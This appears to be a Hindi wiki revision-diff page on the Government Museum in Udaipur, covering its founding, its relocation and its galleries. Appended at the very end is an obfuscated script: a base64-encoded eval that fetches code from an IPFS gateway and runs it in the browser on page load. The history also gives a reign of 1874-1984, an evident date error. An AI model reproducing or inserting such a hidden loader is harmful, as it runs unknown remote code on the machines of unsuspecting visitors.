"सरकारी संग्रहालय उदयपुर" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - " फतह" to " फ़तह")
 
(एक अन्य सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 6: पंक्ति 6:
 
|नगर=[[उदयपुर]]
 
|नगर=[[उदयपुर]]
 
|निर्माण=
 
|निर्माण=
|स्थापना=
+
|स्थापना=[[1873]]
 
|भौगोलिक स्थिति=
 
|भौगोलिक स्थिति=
 
|मार्ग स्थिति=
 
|मार्ग स्थिति=
पंक्ति 16: पंक्ति 16:
 
|शीर्षक 2=
 
|शीर्षक 2=
 
|पाठ 2=
 
|पाठ 2=
|अन्य जानकारी=
+
|अन्य जानकारी=यह संग्रहालय खुदाई से प्राप्त वस्तुओं, [[शिलालेख]], मूर्तियों, चित्रकारी और हस्तशिल्प कला के नमूनों के लिए प्रसिद्ध है।
 
|बाहरी कड़ियाँ=  
 
|बाहरी कड़ियाँ=  
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
'''सरकारी अथवा राजकीय संग्रहालय, उदयपुर'''  [[राजस्थान]] के [[सिटी पैलेस काम्‍पलेक्‍स उदयपुर|सिटी पैलेस काम्‍पलेक्‍स]] के पास 'करन विलास महल' में स्थित है। पहले ये गुलाब बाग़ में स्थित था और इसे विक्टोरिया हॉल कहा जाता था।
+
 
* यह संग्रहालय खुदाई वस्तुएँ, [[शिलालेख]], मूर्तियां, चित्रकारी और हस्तशिल्प कला के नमूनों के लिए प्रसिद्ध है।
+
'''सरकारी अथवा राजकीय संग्रहालय, उदयपुर'''  [[राजस्थान]] के [[सिटी पैलेस काम्‍पलेक्‍स उदयपुर|सिटी पैलेस काम्‍पलेक्‍स]] के पास 'करन विलास महल' में स्थित है। पहले ये गुलाब बाग़ में स्थित था और इसे 'विक्टोरिया हॉल' कहा जाता था।
* [[कृष्ण]] और [[रुक्मिणी]] के [[चित्रकला राजपूत शैली#मेवाड़ शैली|मेवाड़ शैली]] में बने हुए बहुत से चित्र भी संग्रहालय में रखे हुए हैं।
+
==स्थापना==
*यहाँ बहुत से प्रतिमाएं भी रखी हुई हैं। इसमें [[ख़ुर्रम]] (बाद में [[शाहजहाँ]]) का साफ़ा भी रखा हुआ है। ख़ुर्रम ने जब [[जहाँगीर]] के ख़िलाफ़ विद्रोह किया था तो वह उदयपुर में ही रहा था।
+
महाराणा शम्भूसिंह के काल में [[1873]] ई. में कर्नल हैचिंसन की सलाह पर [[इतिहास]] का महकमा स्थापित हुआ। परंतु सज्जनसिंह के शासन काल ([[1874]]-[[1984]] ई.) में श्यामलदास के काल में इसका विकास अधिक हुआ। महाराणा फ़तहसिंह ने [[1887]] ई. में विक्टोरिया हॉल का निर्माण सज्जन निवास में करवाया और [[1890]] ई. के [[नवम्बर]] में संग्रहालय और पुस्तकालय स्थापित किया गया। [[1968]] ई. में इसे राजमहल के कर्ण विलास में स्थानांतरित कर दिया गया और प्रताप संग्रहालय नाम रखा गया, जो वर्तमान में राजकीय संग्रहालय, [[उदयपुर]] के नाम से जाना जाता है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=धरोहर राजस्थान सामान्य ज्ञान|लेखक=कुँवर कनक सिंह राव|अनुवादक= |आलोचक= |प्रकाशक=पिंक सिटी पब्लिशर्स, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=डी-52|url=}}</ref>
*[[उदयपुर]] [[राजस्थान]] का एक ख़ूबसूरत शहर है। और [[उदयपुर पर्यटन]] का सबसे आकर्षक स्थल माना जाता है।
+
==संग्रह==
 +
यह संग्रहालय खुदाई से प्राप्त वस्तुओं, [[शिलालेख]], मूर्तियों, चित्रकारी और हस्तशिल्प कला के नमूनों के लिए प्रसिद्ध है-
 +
*संग्रहालय में बाल दीर्घा में स्टफ किये गए कंगारू, [[बंदर]], सफ़ेद सांभर, कस्तूरी हिरन, [[घड़ियाल]] आदि प्रमुख हैं।
 +
*सांस्कृतिक दीर्घा में छपाई, वस्त्र, [[हाथी]] दाँत के कलात्मक नमूने, मेवाड़ी पगड़ियाँ और अस्त्र-शस्त्र, [[शहज़ादा ख़ुर्रम]] की पगड़ी कर्णसिंह के समय की रखी गई आदि प्रमुख हैं।
 +
*चित्र दीर्घा में लगभग 8000 लघु चित्र, प्राचीनतम लघु चित्र रसिक प्रिया पर आधारित हैं। इसका चित्रकार साहिबदीन था।
 +
*[[कादम्बरी -बाणभट्ट|कादम्बरी]], मालती-माधव, गीत-गोविंद, [[पृथ्वीराज रासो]], [[सूरसागर]], बिहारी सतसई, [[पंचतंत्र]], कलीला-दमना, मुल्ला दो प्याजा पर आधारित लघु चित्र रखे गए हैं।
 +
*[[कृष्ण]] और [[रुक्मिणी]] के [[चित्रकला राजपूत शैली#मेवाड़ शैली|मेवाड़ शैली]] में बने हुए बहुत से चित्र भी संग्रहालय में रखे हुए हैं।
 +
*यहाँ बहुत-सी प्रतिमाएं भी रखी हुई हैं। इसमें ख़ुर्रम (बाद में [[शाहजहाँ]]) का साफ़ा भी रखा हुआ है। ख़ुर्रम ने जब [[जहाँगीर]] के ख़िलाफ़ विद्रोह किया था तो वह [[उदयपुर]] में ही रहा था। उदयपुर [[राजस्थान]] का एक ख़ूबसूरत शहर है। [[उदयपुर पर्यटन]] का सबसे आकर्षक स्थल माना जाता है।  
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 35: पंक्ति 42:
 
{{राजस्थान के पर्यटन स्थल}}{{संग्रहालय}}
 
{{राजस्थान के पर्यटन स्थल}}{{संग्रहालय}}
 
[[Category:राजस्थान]][[Category:राजस्थान_के_पर्यटन_स्थल]][[Category:उदयपुर]][[Category:उदयपुर_के_पर्यटन_स्थल]][[Category:पर्यटन_कोश]]
 
[[Category:राजस्थान]][[Category:राजस्थान_के_पर्यटन_स्थल]][[Category:उदयपुर]][[Category:उदयपुर_के_पर्यटन_स्थल]][[Category:पर्यटन_कोश]]
[[Category:संग्रहालय कोश]]
+
[[Category:संग्रहालय कोश]][[Category:संग्रहालय]]
[[Category:संग्रहालय]]
 
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

13:54, 16 नवम्बर 2014 के समय का अवतरण

सरकारी संग्रहालय उदयपुर
राजकीय संग्रहालय, उदयपुर
विवरण सिटी पैलेस काम्‍पलेक्‍स के पास 'करन विलास महल' में स्थित है।
राज्य राजस्थान
नगर उदयपुर
स्थापना 1873
प्रसिद्धि खुदाई वस्तुएँ, शिलालेख, मूर्तियां, चित्रकारी
खुलने का समय प्रात: 10.00 बजे से 4.30 बजे तक
अन्य जानकारी यह संग्रहालय खुदाई से प्राप्त वस्तुओं, शिलालेख, मूर्तियों, चित्रकारी और हस्तशिल्प कला के नमूनों के लिए प्रसिद्ध है।

सरकारी अथवा राजकीय संग्रहालय, उदयपुर राजस्थान के सिटी पैलेस काम्‍पलेक्‍स के पास 'करन विलास महल' में स्थित है। पहले ये गुलाब बाग़ में स्थित था और इसे 'विक्टोरिया हॉल' कहा जाता था।

स्थापना

महाराणा शम्भूसिंह के काल में 1873 ई. में कर्नल हैचिंसन की सलाह पर इतिहास का महकमा स्थापित हुआ। परंतु सज्जनसिंह के शासन काल (1874-1984 ई.) में श्यामलदास के काल में इसका विकास अधिक हुआ। महाराणा फ़तहसिंह ने 1887 ई. में विक्टोरिया हॉल का निर्माण सज्जन निवास में करवाया और 1890 ई. के नवम्बर में संग्रहालय और पुस्तकालय स्थापित किया गया। 1968 ई. में इसे राजमहल के कर्ण विलास में स्थानांतरित कर दिया गया और प्रताप संग्रहालय नाम रखा गया, जो वर्तमान में राजकीय संग्रहालय, उदयपुर के नाम से जाना जाता है।[1]

संग्रह

यह संग्रहालय खुदाई से प्राप्त वस्तुओं, शिलालेख, मूर्तियों, चित्रकारी और हस्तशिल्प कला के नमूनों के लिए प्रसिद्ध है-

  • संग्रहालय में बाल दीर्घा में स्टफ किये गए कंगारू, बंदर, सफ़ेद सांभर, कस्तूरी हिरन, घड़ियाल आदि प्रमुख हैं।
  • सांस्कृतिक दीर्घा में छपाई, वस्त्र, हाथी दाँत के कलात्मक नमूने, मेवाड़ी पगड़ियाँ और अस्त्र-शस्त्र, शहज़ादा ख़ुर्रम की पगड़ी कर्णसिंह के समय की रखी गई आदि प्रमुख हैं।
  • चित्र दीर्घा में लगभग 8000 लघु चित्र, प्राचीनतम लघु चित्र रसिक प्रिया पर आधारित हैं। इसका चित्रकार साहिबदीन था।
  • कादम्बरी, मालती-माधव, गीत-गोविंद, पृथ्वीराज रासो, सूरसागर, बिहारी सतसई, पंचतंत्र, कलीला-दमना, मुल्ला दो प्याजा पर आधारित लघु चित्र रखे गए हैं।
  • कृष्ण और रुक्मिणी के मेवाड़ शैली में बने हुए बहुत से चित्र भी संग्रहालय में रखे हुए हैं।
  • यहाँ बहुत-सी प्रतिमाएं भी रखी हुई हैं। इसमें ख़ुर्रम (बाद में शाहजहाँ) का साफ़ा भी रखा हुआ है। ख़ुर्रम ने जब जहाँगीर के ख़िलाफ़ विद्रोह किया था तो वह उदयपुर में ही रहा था। उदयपुर राजस्थान का एक ख़ूबसूरत शहर है। उदयपुर पर्यटन का सबसे आकर्षक स्थल माना जाता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. धरोहर राजस्थान सामान्य ज्ञान |लेखक: कुँवर कनक सिंह राव |प्रकाशक: पिंक सिटी पब्लिशर्स, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: डी-52 |

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>